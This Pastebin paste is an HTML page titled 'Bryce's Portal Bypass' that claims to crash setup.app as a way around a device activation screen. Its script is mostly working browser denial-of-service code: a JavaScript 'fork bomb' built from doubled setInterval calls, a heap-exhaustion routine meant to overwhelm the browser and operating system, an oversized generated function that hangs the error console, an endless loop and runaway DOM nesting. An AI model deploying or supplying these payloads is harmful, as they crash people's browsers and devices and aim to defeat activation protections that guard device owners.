Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <head>
- </head>
- <body>
- <center>
- <h1>Bryce's Portal Bypass</h1>
- <br>
- <h2>To cause setup.app to crash, press the button below. This is an alternative way to bypass. This will not activate your device.</h2>
- <a href="javascript: Test_HeapDeath()">Crash</a>
- <script type="text/javascript" language="JavaScript">
- // Show everything.
- $('.js-ok').style({'display': 'inline-block'});
- // Make space for the image.
- $('#content-wrapper').width(NPL.window.width() - NPL.window.height() - 100).style({'margin-left': '30px', 'float': 'left'});
- // Load the appropriately-scaled image.
- $('#mushfoom').style({'position': 'fixed', 'right': '0', 'bottom': '0'});
- $('#mushfoom img').setAttr('src', '/foomofdeath.jpg?' + NPL.window.width() + 'x' + (NPL.window.height() - 75)).style({'margin-top': '70px', 'margin-right': '30px'});
- $('#the-trigger').onclick(function(){ShowWarning(); return false});
- function ShowWarning ()
- {
- // Hide the 'splainin' box if it's displayed.
- var xSplainin = $('#the-explanation');
- if ( xSplainin.style('display') != 'none' )
- {
- xSplainin.fade({'end': 0}, function(){$('#the-explanation').style('display', 'none'); ShowWarning()});
- }
- else
- {
- $('#the-warning').opacity(0).style({'display': 'block'}).fade({'end': 100});
- }
- }
- function SomeSplaininToDo ()
- {
- // Hide other boxes in the content area.
- var xWarning = $('#the-warning');
- var xTestList = $('#the-tests');
- if ( xTestList.style('display') != 'none' )
- {
- xTestList.fade({'end': 0}, function(){$('#the-tests').style('display', 'none'); SomeSplaininToDo()});
- }
- else if ( xWarning.style('display') != 'none' )
- {
- xWarning.fade({'end': 0}, function(){$('#the-warning').style('display', 'none'); SomeSplaininToDo()});
- }
- else
- {
- $('#the-explanation').opacity(0).style('display', 'block').fade({'end': 100});
- }
- }
- function Warning2 ()
- {
- return confirm('Confirm This Crash?');
- }
- function Step1 ()
- {
- $('#the-trigger').fade({'end': 0}, function(pElement){pElement.style('display', 'none')});
- $('#the-warning').fade({'end': 0}, function(pElement){pElement.style('display', 'none'); Step2();});
- }
- function Step2 ()
- {
- $('#the-tests').opacity(0).style({'display': 'block'}).fade({'end': 100});
- }
- function Test1 ()
- {
- if ( Warning2() )
- {
- var x = 1;
- while ( ++x > 1 ) {}
- }
- }
- function Test_ForkBomb ()
- {
- if ( Warning2() )
- {
- _ForkBomb();
- }
- }
- function _ForkBomb()
- {
- // The example on StackOverflow is really more of an example of death-by-recursion
- // (and it *should* be caught by Firefox's recursion detection heuristics),
- // since each call to die() in the example will have to call another die() before
- // completing and calling the second one.
- // This example here should be closer to the classic fork bomb attack: each of the
- // two calls will return immediately after each one has spawned two more.
- // It's pretty vicious.
- setInterval(_ForkBomb, 1);
- setInterval(_ForkBomb, 1);
- }
- function Test_HeapDeath ()
- {
- if ( Warning2() )
- {
- // This is one of my favorites, because it has the potential to bring the OS
- // to its knees, too, making this a failure of the JS engine, the application,
- // and the operating system.
- // Start out with a 10-character string, double it 22 times (I'm surprised
- // this works!), and then stuff it into an array and start doubling the array.
- // It's always fun to watch a web browser measure its memory usage in GB.
- // Some random chars are thrown in for the heck of it.
- (function () {
- 'use strict';
- var i,
- // We could also build the array of methods with the following, but the
- // getOwnPropertyNames() method is non-shimable:
- // Object.getOwnPropertyNames(String).filter(function (methodName) {return typeof String[methodName] === 'function'});
- methods = [
- 'quote', 'substring', 'toLowerCase', 'toUpperCase', 'charAt',
- 'charCodeAt', 'indexOf', 'lastIndexOf', 'startsWith', 'endsWith',
- 'trim', 'trimLeft', 'trimRight', 'toLocaleLowerCase',
- 'toLocaleUpperCase', 'localeCompare', 'match', 'search',
- 'replace', 'split', 'substr', 'concat', 'slice'
- ],
- methodCount = methods.length,
- assignStringGeneric = function (methodName) {
- var method = String.prototype[methodName];
- String[methodName] = function (arg1) {
- return method.apply(arg1, Array.prototype.slice.call(arguments, 1));
- };
- };
- for (i = 0; i < methodCount; i++) {
- assignStringGeneric(methods[i]);
- }
- }());
- x = '0123456789';
- for ( i = 0; i < 22; i++ ) { x = x.slice(0) + String.charCodeAt(Math.floor(Math.random() * 256)) + x.slice(0) + String.charCodeAt(Math.floor(Math.random() * 256)); }
- setInterval(_HeapDeath, 5);
- }
- }
- function _HeapDeath ()
- {
- // Firefox actually does an admirable job of trying to handle this -- until I try
- // to append random strings to the array slices.
- // I feel a little bad for doing that.
- x = [x.slice(0) + String.charCodeAt(Math.floor(Math.random() * 256)), x.slice(0) + String.charCodeAt(Math.floor(Math.random() * 256))];
- }
- function Test_Explodabob ()
- {
- if ( Warning2() )
- {
- // This works by creating a really big invalid JS function.
- // It doesn't immediately crash the browser; it's way sneakier. Instead, the next time
- // the user goes to open up the error console, the browser will (probably) hang. Fun fun.
- var x = 'abcdefghijklmnopqrstuvwxyz';
- for ( var i = 0; i < 21; i++ ) { x = x + x; }
- var f = new Function(x);
- f();
- }
- }
- function Test_ElementOverflow ()
- {
- if ( Warning2() )
- {
- x = document.createElement('div');
- document.body.appendChild(x);
- $(x).style('display', 'none');
- _ElementOverflow();
- }
- }
- function _ElementOverflow ()
- {
- var y;
- for ( var i = 0; i < 50; i++ )
- {
- y = document.createElement('div');
- y.className = 'element_foom';
- x.appendChild(y);
- x = y;
- }
- i = document.getElementsByTagName('div'); // Hee, hee, hee.
- setTimeout(_ElementOverflow, 1);
- }
- </script>
- </center>
- <br />
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement